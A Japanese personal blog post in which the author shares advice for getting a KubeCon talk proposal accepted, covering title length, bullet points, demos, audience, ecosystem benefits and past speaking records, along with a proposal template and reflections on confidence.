恐らくKubeConに限った話ではないですし指摘内容も普通の内容が多いと思いますが、一応次以降に自分で見返すこともありそうなので全部書いておきます。

プロポーザルに関するアドバイス

全部教えてもらったやつです。ただ自分なりに解釈した内容を書いてるので伝言ゲームで若干齟齬あるかもです。

タイトルは短く

あまりに説明的すぎるタイトルは避けたほうが良いようです。長すぎると敬遠されがちなので、Wordに書いて1行以内には納めたほうが良さそうです。恐らく50~80文字ぐらい。しかし一方で短すぎても何のセッションか分からないので、参加者が興味を持つぐらいの内容を1行でまとめる必要があり難しいです。

箇条書き

発表内容について長々と文章で書くよりは、箇条書きで要点をレビュワーの方に伝えるほうが良いようです。その箇条書きも5~10個とかだと見にくいので色々書きたい気持ちは抑えて2, 3個にしましょう。

デモ

デモがある発表の方が人気みたいです。もちろんデモがなくても良いのですが、もし出来そうなら積極的にやるべきでプロポーザル内にもその旨を書くべき、とのこと。実際うちのボスはほぼすべての発表でデモしていて、それが評判良いみたいです。

対象者

これも重要で、誰に向けての発表なのかはしっかり盛り込むほうが良いです。もし事前知識が必要だったりする場合は正直に書きましょう。

エコシステムへの影響

確か応募フォームの中にBenefits to the Ecosystemという欄があります。CloudNativeConなので、クラウドネイティブのエコシステムにどう影響があるのかを書く必要があります。これも重要で関連性が強かったり分かりやすい方が通りやすいそうです。

実用的な解決策

既存のCNCFプロジェクトにどういう問題がありこの発表でそれをどう解決するのか、という内容や、デフォルトだとこういう問題があるのでこのCNCFプロジェクトの利用をおすすめします、とかいう内容も書くと良さそうです。聞いてふーんで終わりの内容ではなく、実際にすぐ聴講者が行動出来るような内容を持ち帰ってもらえる発表ですよ、というのがポイントみたいです。

プロポーザル例

上のをまとめると以下のような構成です。

# タイトル
短くて興味を引くタイトル(80文字以内ぐらい)

# 発表内容
概要1(1~2行ぐらい)

- 要点1
- 要点2

概要2(1~2行ぐらい)
デモの内容

この発表の対象者、必要な事前知識

# Benefits to the Ecosystem
この発表がCNCFにおいて重要な理由(1~2行ぐらい)
CNCFプロジェクトとの関連性(1~2行ぐらい)
聴講者に持ち帰ってもらえる内容(1~2行ぐらい)

これがベストかどうかは分かりませんが、今回自分はボスの過去のプロポーザルを丸パクリして上の構成で出しました。

その他

発表実績

実はこの部分が今回の記事で一番書きたかったところで、こいつは英語でうまく発表できるのか?というのを見られるみたいです。もちろん応募内容が圧倒的に良ければそんなの関係なく通るのですが、当落線上にいる場合は実績が重要になってきます。自分の場合は何も実績の動画とか送らなかったので判断つかなくて困っていたらしいのですが、レビュワーの同僚が英語発表問題ないと言ってくれたらしく(実際には問題ありまくるけど)、それなら良いかということで通ったみたいです。そういう意味では自分はラッキーだったと言えます。もし何か実績が少しでもあるなら送っておいたほうが良いです。

実際KubeSecというKubeConと一緒に開催されるイベントに知人が応募していたのですが、レビュワーから彼の英語発表大丈夫?と聞かれました。大丈夫です!!!と答えた結果、採択されることになりました。もちろん大前提として応募内容が良かったからなのですが、やはり発表スキルは気にされるみたいです。

つまり大きいカンファレンスに一発目から行くよりは少し小さめのところで発表して実績を作り(可能ならYouTubeとかで録画が配信されるぐらいの規模)、そのURLを一緒に送ると採択率が上がるということです。知人だから通りやすいとかいうわけではなくて、判断がつかないとカンファレンスを成功させたいレビュワーとしても困るということです。

メンタル

そもそもカンファレンスで話したいと思ってる時点で圧倒的に他の人より前にいますし、上のような点に気をつければ問題なく通ると思います。さらに言えば通ると良いなというよりは通って当然ぐらいの気持ちで応募すると良いかもしれません。

正直自分は登壇自体も苦手で敬遠してるので経験が少ないですし、英語力もヤムチャぐらいしかないので話したいとは全く思ってませんでした。自分程度の実力で大きなカンファレンス行くのは無謀だと思ってます。ヤムチャが街に人造人間探しに行くようなもんです。仲間呼ぶ前に殺されます。ただうちのチームはフルタイムが6人いて、前回と今回だけでスピーカーが4人もいます。実質CTO直轄チームなのでCTOも入れてしまえば7人中5人です(1人諸事情で辞退しましたが)。つまり話してない方のほうが少ないぐらいです。なので、あまり乗り気ではなかったのですが何で出さないの?みたいな空気感もあり結局出しました。ダメ元で、というよりは通さないとダメだよな...みたいな気持ちだったのが今となっては良かったのかもなと思っています。

そんな感じで自分の中で当たり前のレベルが上がると自然と自信を持って書けるようになって良い結果に繋がるのかなと感じました。

まとめ

お願いだから誰も聞きに来ないで欲しい。